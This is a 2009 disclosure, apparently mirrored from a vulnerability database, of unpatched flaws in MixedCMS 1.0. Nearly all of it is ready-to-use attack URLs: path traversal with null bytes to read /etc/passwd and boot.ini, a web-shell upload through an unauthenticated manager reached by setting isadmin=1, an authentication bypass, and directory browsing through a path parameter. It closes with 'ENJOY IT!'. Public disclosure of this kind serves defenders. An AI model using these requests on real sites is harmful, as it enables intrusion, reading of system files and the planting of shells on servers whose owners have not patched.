Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21718
HistoryApr 23, 2009 - 12:00 a.m.

MixedCMS 1.0--Multiple Remote Vulnerabilities-->

2009-04-2300:00:00
vulners.com
34

MULTIPLE REMOTE VULNERABILITIES Mixed CMS 1.0

CMS INFORMATION:

–>WEB: http://sourceforge.net/projects/mixedcms/
–>DOWNLOAD: http://sourceforge.net/projects/mixedcms/
–>DEMO: N/A
–>CATEGORY: CMS / Portals
–>DESCRIPTION: MixedCMS is a cms that gives easiest way to create our own website

CMS VULNERABILITY:

–>TESTED ON: firefox 3
–>DORK: N/A
–>CATEGORY: LFI/UPLOAD-SHELL/AUTH-BYPASS/FILES DISCLOSURE
–>AFFECT VERSION:1.0
–>Discovered Bug date: 2009-04-21
–>Reported Bug date: 2009-04-21
–>Fixed bug date: Not fixed
–>Info patch: Not fixed
–>Author: YEnH4ckEr
–>mail: y3nh4ck3r[at]gmail[dot]com
–>WEB/BLOG: N/A
–>COMMENT: A mi novia Marijose…hermano,cuсada, padres (y amigos xD) por su apoyo.


LOCAL FILE INCLUSION (LFI)

1)http://[HOST]/[HOME_PATH]/modules/mod.php?mod=…/…/…/…/…/…/…/boot.ini%00

2)http://127.0.0.1/[HOST]/[HOME_PATH]/modules/mod.php?mod=../../../../../etc/passwd%00


SHELL UPLOAD VULNERABILITY

–>shell <= 1KB.

http://[HOST]/[HOME_PATH]/modules/mod.php?mod=download&op=manager&isadmin=1

Here we add a download and upload the shell exploit.

Then, if you go to the link (Boom!):

http://[HOST]/[HOME_PATH]/modules/mod/download/archieves/shell.php


AUTHENTICATION BYPASS

Authetication is not needed (only isadmin=1 and change op/mod var to browse)

http://[HOST]/[HOME_PATH]/modules/mod.php?mod=newsfeed&op=manager&isadmin=1


FILES DISCLOSURE

http://[HOST]/[HOME_PATH]/modules/mod/download/DocMan.php?path=./…/download/archieves/

Use path variable (request) to browse other paths for example:

http://127.0.0.1/[HOME_PATH]/modules/mod/download/DocMan.php?path=./../../../engine/

I'm sure that SQL Injection (or Blind) is here but with this, for what?

-------------------EOF---------------------------------->>>ENJOY IT!